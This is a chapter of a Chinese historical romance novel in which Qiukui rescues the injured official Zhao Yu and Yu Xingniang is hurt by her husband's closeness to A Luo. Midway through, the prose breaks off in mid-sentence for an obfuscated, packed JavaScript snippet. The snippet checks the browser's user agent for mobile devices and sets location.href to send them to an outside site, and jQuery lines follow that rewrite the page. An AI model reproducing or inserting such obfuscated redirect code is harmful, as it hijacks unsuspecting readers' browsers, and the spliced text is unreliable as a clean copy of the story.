“没什么,我们走吧。”
阳光从檐角缝隙处洒下,在地面形成一片斑驳树影。秋葵将脏衣服统统放入竹编背篓里,背着竹篓一路往城角的河边走去。
葫芦巷位置极为偏僻,在整个京城的西北角,后面连着一片荒山,荒山前有条大河,那条河便是通往城外的护城河,是京城里除了城门以外的唯一一条通往外面的出口,但也极为隐秘危险。
为了节约家里的用水,秋葵一直都是将锅碗衣裳带到这里来洗的。
河水清澈湍急,飞溅过岸边的大石头,秋葵放下背后的竹篓将衣服拿出一件,放入河水里沾湿。在这里浣衣一定要小心谨慎,否则一不留神衣裳就被河水冲走了。
秋葵拿出一些碎豆荚揉搓衣裳,忽然发现对面大石头后面的草丛里好像躺了个人,只露出两条腿来。
秋葵放下手里的活,绕过河水往对面走去。
只见一个衣衫脏破的男子趴在地上一动不动,衣袍虽然很脏很破,但隐约能看出是一件纯白织锦袍,上面绣有细小红色枫叶。
她发现男子的裤腿处被鲜血染红,上面的血迹已经干涸,肩膀上也隐约有血迹透出。
秋葵不确定眼前的人是否还活着,也不确定他是否有危险,便在周围随手找了根长树枝,往他背上戳了戳,见人丝毫没有反应,才敢慢慢靠近他。
她吃力将人翻过身来,看清脸时大吃一惊:“赵大人?!赵大人……这怎么回事。”她探了探赵舆鼻息,发现人还活着只是暂时昏迷了。
她将人扶起来靠在后面的大石头上,检查了下他肩上的伤口,很浅只是皮外伤而已,相较而言腿上的伤要更严重些。至于昏迷,她抬头看了看前方的高山,还有他浑身湿漉漉的衣裳,可能是从山上摔下来了,又或者被河水冲刷时脑袋磕到的河底的石头,都尚有可能。
秋葵见四下无人,便暂时放下竹篓里的衣裳,准备将赵舆背回去,奈何赵舆身长八尺,于她而言实在是太重了,这一带便到天黑才将人托回去。
回去后她将赵舆放到了自己的床榻上,这才发现他的鞋底不知何时已经磨破了,毕竟刚刚将他放在地上拖了一路,鞋底磨破也在所难免。
她刚将那双鞋脱了,门口便传来阿童的声音,稚嫩带着些疑惑:“秋葵姐姐,这个大哥哥是谁?”
秋葵作势:“嘘,这是曾经救过姐姐的大恩人,阿童要听话,千万别告诉其他人哦。”她知道赵舆如今伤成这样,躺在荒山前的河边上,一定是遭遇了暗算,像他这样站得高的人,越是活在风浪里,若是将救他的事宣扬出去,少不得又要惹事生非。
她忽然想到那日,他在众目睽睽之下替她做了见证,帮她洗清冤屈,随后刑部侍郎蒋阮滥用私刑的丑闻便传了出来,秋葵忧心忡忡,总觉得赵舆如今的遭遇,和那件事那个人脱不了干系。
阿童听了虽然不解,但也很懂事地点了点头。
赵舆的腿伤需要尽快治疗,但她不敢去外面找大夫,只等到次日清晨她找来了虞杏娘。
阳光从榻旁的窗棂中洒进来,将空气中的灰尘照得清晰可见。
虞杏娘带着和谢予辞要来的府中大夫,据说是之前边关军队里退役跟着他回来的,人可信医术也好。
大夫撩开褐棕桑麻袍角,一脚跨进门槛,将赵舆的裤脚卷起细细查检一番后,便打开药箱开始替他疗伤。
秋葵端着铜盆倒出一盆有一盆的血水,虞杏娘则在一旁打下手。
过了大约一炷香的时间,外面的太阳渐渐毒辣起来,赵舆的腿伤治得七七八八,只等休息恢复了,大夫将药箱收拾妥当,虞杏娘便带着他离开了葫芦巷。
很快马车便行到了侯府门前,虞杏娘下马车一路往福泽院里走,走到树影重重的月洞门前,她忽然听到不远处传来女子的嬉笑玩闹声,不知为何总觉耳熟。
侯府里的丫鬟平时恪尽职守,哪怕是日常休憩时候的玩乐也不会如此明目张胆,她来这么久从来没听到过这样的笑声,仔细听去这声音里仿佛还夹杂着几丝胡人的口音。
虞杏娘猛然回想起那日,女子的欢笑声渐渐和那天乱葬岗商队里,阿罗的笑声重合,是阿罗,她怎么会在这里。
“你小心些,免得它伤到你。”少年明快磁性的声音传来,虞杏娘瞬间听出,这是谢予辞的声音。
真是奇怪,谢予辞怎么会和阿罗在一起,还是在侯府。
虞杏娘揣着疑惑走过一道道光影重叠的月洞门,两旁有红白落花铺了一地。
那声音越来越近,只见阿罗一身汉人服饰,黑色卷发被尽数盘起,一张红唇露出张扬的笑意,在阳光的映射下更显艳丽。
此刻,阿罗正在玩弄脚边的一条小狗,小狗浑身毛茸茸软趴趴的,而谢予辞则站在一旁看着她,大黄嗅到主人的气息,东倒西歪地往虞杏娘身前走去,两人这才发觉虞杏娘的到来。
“杏娘,这么久没见有没有想我啊?”阿罗走到她身前,一把将大黄捞起抱到胸前,虞杏娘抚摸大黄的手扑了个空。
小家伙一双黑溜溜的大眼睛湿漉漉地看着虞杏娘,看起来委屈极了,它扑腾着小手往外挣扎,但奈何阿罗抱得实在太紧,它根本无力反抗。
阿罗初次来到侯府,她不好说什么,只能委屈大黄熬一熬了。
还不及她开口,阿罗便神色恹恹回头看着谢予辞说道:“看来你夫人是不欢迎我来了。”
虞杏娘这才发现阿罗头上带着她的的八宝罗嵌花钗,这是谢予辞送她的一套首饰里的其中一件,那现在看来应该是谢予辞给她的了,本来就是谢予辞买的,他自然有支配的权利。
谢予辞走上前来:“怎么会,杏娘日日念道你呢……她若不喜你,自有我盼着你来。”说着他眉心闪过一道细微光芒,阿罗笑意更深了,她摸了摸发间的金钗:“小侯爷盘发的手艺不错,想必也是日日给杏娘盘发练出来的,我就不打扰你们了,下次有空再来。”说罢便转身离开了。
虞杏娘听言心中轰隆一声,一颗心好似沉到了底,她深深看了谢予辞一看,她猜错了,谢予辞从未给她盘过发,或许他此生第一次替人盘发是为了阿罗。
虞杏娘眼底闪过一抹失落,甚至她自己都惊讶,为什么就这么一件小事,她心里会这么难受。
她抱着大黄离开,走着走着她突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127638|180129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忍不住想回头看了他一眼,只见他背对自己站在月洞门前层层叠叠的明暗光影里,看不出任何情绪,偶有微风吹过,花瓣便扬帆着飘落,滚在他脚边上。
他的背影和从前一样,和昨天一样,但她总觉得如今的场景十分陌生,莫名有些物是人非的感觉。
夜里,她抱着枕头来到耳房睡下,躺在床榻上看外面森白的月亮,和婆娑的树影,不禁想起那日谢予辞会因为一件衣服而吃醋,在宫里有人欺负她,他会第一时间将她救起并以牙还牙,怎么一个上午全都变了,他看起来很喜欢阿罗,喜欢她胜过喜欢自己。
刚刚的他会第一时间维护阿罗,甚至自己什么都没说,而且她明明看到谢予辞看向她的一双眼里毫无波澜,冷漠的像看一个陌生人,可明明之前的他不是这样的,曾经满眼快要溢出来的情愫呢……
这个人变心真是快,比翻书还快!
另一边,谢予辞躺在冰冷的床榻上,窗边雕花花几上的一盆幽兰,在月光的照耀下开得正盛,隐约有淡淡兰香袭来。
但他怎么都记不起那盆幽兰是怎么来的,他明明不喜养花,如今怎么会专门放一盆娇弱的兰花在房间里,他远远看着那花,开得这样好,养它一定废了不少功夫吧。
他翻来覆去怎么都难以入睡,总觉得今晚的软榻上似乎少了些什么,总觉冰冷异常。
忽然想到白日虞杏娘那双忧伤失落的眼,他不知为何心中也跟着一痛,怎么会痛呢,她不高兴关自己什么事。当初若不是为了打消圣上疑虑,才不会娶她这么一副易碎花瓶放在府里。
次日,天边泛起鱼肚白,有卷云滚滚。
虞杏娘早早醒来,因为今日是她和荣夫人约好一起去承恩寺的日子,荣夫人年事高了少不得想抱个孙子,于是便拉着要带虞杏娘上山求子。荣夫人腿脚不好,这些年几乎从不外出,如今为了她突然要出远门,这么重的一片心意她也不好拒绝。
即使她知道她这个愿望很难完成,她嫁给谢予辞只是想脱离惊鸿楼,恢复自由之身,做一个堂堂正正的人,而谢予辞娶自己看起来也是别有目的,总之绝不是因为喜欢她。
两个不相爱的人,她想应该是不会有孩子的,看着荣夫人满心期待的样子,她忽然有种罪恶感涌上心头,这是一种欺骗,明知是不可能的事,却还是陪着别人一起演戏,仅为了维护那份虚无缥缈的期待。
这次去承恩寺路途遥远,到了那里少不得还要再住上几日,带的东西也相对多些,虞杏娘带了两身衣服,干粮,不知为何心中总觉得不妥,便跑到和谢予辞的房间里,拿了他的匕首放入包中。
荣夫人也带了不少东西,还带了两个丫鬟四个小厮,虞杏娘思及路途遥远,去那么久无非是吃斋念佛一定无聊极了,便又折返回去叫上了秋葵。
侯府的马车比她以前坐过的马车都要宽敞精美许多,外表简洁大气,门帘和窗幔都是深青色,上面印有镇勇侯府的家徽,门前还悬挂了两站竹制雕花灯笼,用于晚上照明。
虞杏娘坐在柔软的坐垫上,车厢里点了荣夫人从用的安神香薰,不知为何虞杏娘一闻见这香就犯困,迷迷糊糊便睡了过去。